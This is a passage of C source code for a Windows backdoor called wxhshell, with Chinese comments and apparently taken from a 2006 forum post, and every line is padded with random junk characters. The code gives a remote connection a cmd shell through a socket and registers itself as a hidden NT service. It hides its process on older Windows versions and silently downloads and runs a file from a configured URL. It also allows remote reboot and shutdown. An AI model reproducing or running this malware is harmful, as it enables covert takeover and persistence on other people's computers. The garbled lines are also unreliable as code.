    else P"Lk(gY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wzVx16Rvc  
    break; m2F2  
    } VgD z:j  
  // 卸载 Y,w'Op  
  case 'r': { ##+|zka!U  
    if(Uninstall()) ELfcZfJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tJ>%Xop  
    else L.ScC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]VtVw^ir  
    break; mk(O..)2  
    } 4y\qJw)~U  
  // 显示 wxhshell 所在路径 W/!M eTU&E  
  case 'p': { }Qyuy~-&^  
    char svExeFile[MAX_PATH]; ~P8 6=Vw  
    strcpy(svExeFile,"\n\r"); ^,*ED Yz  
      strcat(svExeFile,ExeFile); ` Fnl<C<  
        send(wsh,svExeFile,strlen(svExeFile),0); t2skg  
    break; !~Gx@Ro  
    } I@Pp[AyG  
  // 重启 -sO[,  
  case 'b': { sU!h^N$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rah"La  
    if(Boot(REBOOT)) Cuu yG8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d` %8qLIW  
    else { ^0)Mc"&{  
    closesocket(wsh); r<VZE bm)  
    ExitThread(0); Oxo?\ :T  
    } fFDI qX  
    break; O'm><a>8  
    } `B6*wE-|  
  // 关机 7ss Y*1b  
  case 'd': { ,I6jfXI4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M8dv y!D  
    if(Boot(SHUTDOWN)) <Hd8Jd4f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jr[(g:L   
    else { )[fjZG[  
    closesocket(wsh); 'NJGez'b ,  
    ExitThread(0); j5Kw0Wy7  
    } '!eg9}<  
    break; !"1}zeve  
    } B7 PkCS&X  
  // 获取shell \|e>(h!l;  
  case 's': { `_%U K=m  
    CmdShell(wsh); $J6Pv   
    closesocket(wsh); t/55tL  
    ExitThread(0); !%MI9Ok  
    break; 9{[I|  
  } TL&`Ywy  
  // 退出 Vw-,G7v&E  
  case 'x': { z=mH\!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?*DM|hzOi  
    CloseIt(wsh); [v47_ 5O  
    break; q^!_jMN5  
    } SnIH6k0T_  
  // 离开 f>*T0"\c  
  case 'q': { #b~B 0:U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -55[3=#  
    closesocket(wsh); _y>mmE   
    WSACleanup(); SeuC7!q{  
    exit(1); +cH,2^&  
    break; @WS77d~S  
        } ^ex\S8j  
  } |r Aot2  
  } zA>X+JH>iw  
!pw )sO~  
  // 提示信息 Vi-Ph;6[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?@,EGY <  
} F c5t,P  
  } 8\{z>y  
bV&9>fC  
  return; bA#9'Qu^j  
} )V2W:M  
#8"oqqYi  
// shell模块句柄 X1`3KqK<9  
int CmdShell(SOCKET sock) gh ?[x.U  
{ C&H'?0Y@  
STARTUPINFO si; Fy Ih\  
ZeroMemory(&si,sizeof(si)); J'|=J   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  jb&MC 2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y< *-&  
PROCESS_INFORMATION ProcessInfo; A8vd@0  
char cmdline[]="cmd"; FUI*nkZY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b;UDgq8v  
  return 0; 4/`;(*]Fv  
} Z>g>OPu  
rx2'].  
// 自身启动模式 |_TI/i>?'  
int StartFromService(void) px K&aY8  
{ "nu]3zcd  
typedef struct sb{K%xi%  
{ zG6l8%q'UE  
  DWORD ExitStatus; !9_(y~g{N  
  DWORD PebBaseAddress; * &:_Vgu  
  DWORD AffinityMask; [5?Dov^j 3  
  DWORD BasePriority; MVzuE}  
  ULONG UniqueProcessId; f1ANziC;i  
  ULONG InheritedFromUniqueProcessId; (b f IS  
}   PROCESS_BASIC_INFORMATION; e6j1Fa9  
D/."0 #q  
PROCNTQSIP NtQueryInformationProcess; vnvpb! @Q  
z eT`kZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fF0i^E<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;(/go\m tB  
N,Ma\D+^t  
  HANDLE             hProcess; ErK1j  
  PROCESS_BASIC_INFORMATION pbi; -t|/g5.w_  
0d_)C>gcF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l5Bm.H_  
  if(NULL == hInst ) return 0; ]E<Z5G1HD  
T\}U{9ELL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O68-G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vw2E$ya  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .<`)`:n+B  
5U47 5&  
  if (!NtQueryInformationProcess) return 0; k9rws  
HD=F2p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +zMPkbP6  
  if(!hProcess) return 0; #!R>`l(S  
}b(h D|e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e`qrafa  
V'XEz;Ze  
  CloseHandle(hProcess); Qi`3$<W>  
[Xu8~c X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <@ .e.H  
if(hProcess==NULL) return 0; gA(npsUHI  
[_)`G*X(N  
HMODULE hMod; 6AAvsu:  
char procName[255]; ;b0Q%TDh  
unsigned long cbNeeded; U~: H>  
k=mQG~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vzg^tJ  
Hloe7+5UD  
  CloseHandle(hProcess); ^}-l["u`  
cRnDAn#42  
if(strstr(procName,"services")) return 1; // 以服务启动 KNAvLcg  
dRron_'  
  return 0; // 注册表启动 Jj \ nye+  
} hUlRtt  
Zt3sU_  
// 主模块 a|u#w~  
int StartWxhshell(LPSTR lpCmdLine) &IUA[{o~e  
{ ~][~aEat;V  
  SOCKET wsl; 03fOm  
BOOL val=TRUE; zas&gsl-;  
  int port=0; jum"T\  
  struct sockaddr_in door; SF:98#pg  
`Ow]@flLI  
  if(wscfg.ws_autoins) Install(); VAL? Z  
 ydzsJ+dx  
port=atoi(lpCmdLine); d*^JO4'  
! *sXLlS  
if(port<=0) port=wscfg.ws_port; ':4<[Vk  
>j=ZB3yZ  
  WSADATA data; lKejWT`;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JI!1 .]&  
vMp=\U-~^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;-u]@35  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mgw#4LU  
  door.sin_family = AF_INET; 1 7~Pc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }U_^zQfaj  
  door.sin_port = htons(port); 7#E/Q~]'6  
Z {^!z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s9wzN6re  
closesocket(wsl); -t4:%-wv  
return 1; cn} CI  
} 1yE',9?  
7T)y"PZ  
  if(listen(wsl,2) == INVALID_SOCKET) { kC.dJ2^j+  
closesocket(wsl); -w"I  
return 1; o!BCR:  
} &s`)_P[  
  Wxhshell(wsl); bPFGQlmIO  
  WSACleanup(); B9"o Ru^}  
HKJCiQ|k  
return 0; ;I*t5{  
kc2B_+Y1  
} t08U9`w  
MM32\}Y6  
// 以NT服务方式启动 :5~Dca_iU4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |-=-/u1  
{  ,h^6y  
DWORD   status = 0; QIkFX.^  
  DWORD   specificError = 0xfffffff; gV@xu)l  
aftt^h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "Y+VNS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %DiQTg7V,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bKS/T^UQ  
  serviceStatus.dwWin32ExitCode     = 0; EcHZ mf  
  serviceStatus.dwServiceSpecificExitCode = 0; rd->@s|4mT  
  serviceStatus.dwCheckPoint       = 0; En&7e  
  serviceStatus.dwWaitHint       = 0; Hi[lN7ma8  
q<E7q Y+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  GhfhR^P  
  if (hServiceStatusHandle==0) return; wetu.aMp  
gaXo)oS  
status = GetLastError(); i`@cVYsL  
  if (status!=NO_ERROR) Lmjd,t  
{ #eKKH]J/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a^&"gGg  
    serviceStatus.dwCheckPoint       = 0; }` 3-  
    serviceStatus.dwWaitHint       = 0; \5}PF+)|  
    serviceStatus.dwWin32ExitCode     = status; 'Q E8  
    serviceStatus.dwServiceSpecificExitCode = specificError; )2).kL>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <o()14  
    return; X{#^O/  
  } q,fp DNo  
_(f@b1O~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PNAvT$0LaZ  
  serviceStatus.dwCheckPoint       = 0; rmw}Ui"  
  serviceStatus.dwWaitHint       = 0; 2Di~}*9&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bsu?Q'q  
} eFs5 l  
|5;,]lbt  
// 处理NT服务事件,比如:启动、停止 s>G6/TTH6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 65zwi-  
{ ^iEf"r  
switch(fdwControl) |h $Gs2  
{ *=@8t^fa86  
case SERVICE_CONTROL_STOP: l atm_\  
  serviceStatus.dwWin32ExitCode = 0;  $Z &6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {@KLN<  
  serviceStatus.dwCheckPoint   = 0; ruagJS)+  
  serviceStatus.dwWaitHint     = 0; kVtP~  
  { *P *.'XM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :c]y/lQmV  
  } g[i;>XyP  
  return; 3\ajnd|  
case SERVICE_CONTROL_PAUSE: %rs2{Q2k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uvl91~&G  
  break; o Rk'I  
case SERVICE_CONTROL_CONTINUE: a'` i#U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xqk(id\&  
  break; ]kNxytH\o  
case SERVICE_CONTROL_INTERROGATE: {0j,U\ kb  
  break; n2*Ua/J-8  
}; CxaI@+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Z]?a  
} =z5=?  
0D4 4  
// 标准应用程序主函数 N''xdz3Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >;G_o="X  
{ L`M{bRl+1  
!(bYh`Uy  
// 获取操作系统版本 W9gQho%9b  
OsIsNt=GetOsVer(); }k AE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tx;2C|S$oU  
3 a(SmM:  
  // 从命令行安装 A["6dbvv  
  if(strpbrk(lpCmdLine,"iI")) Install(); d.ywH;  
@ ~{TL  
  // 下载执行文件 f4<~_ZGr  
if(wscfg.ws_downexe) { 7]u_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,FYA*}[  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q +hOW-  
} br0\O  
oBai9 [+  
if(!OsIsNt) { XH0{|#hwN  
// 如果时win9x,隐藏进程并且设置为注册表启动 d+P<ce2 G  
HideProc(); uF%N`e^S  
StartWxhshell(lpCmdLine); Nc6y]eGz  
} *C)m#[#:u  
else or ~@!  
  if(StartFromService()) ;N!n06S3  
  // 以服务方式启动 rfdA?X{Q0  
  StartServiceCtrlDispatcher(DispatchTable); ~mH'8K|l  
else 7 HL Uk3  
  // 普通方式启动 sk5=$My  
  StartWxhshell(lpCmdLine); OvdBUcp[  
+:#g6(P]  
return 0; BB,-HhYT0  
}
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只看该作者 1 发表于: 2006-10-10
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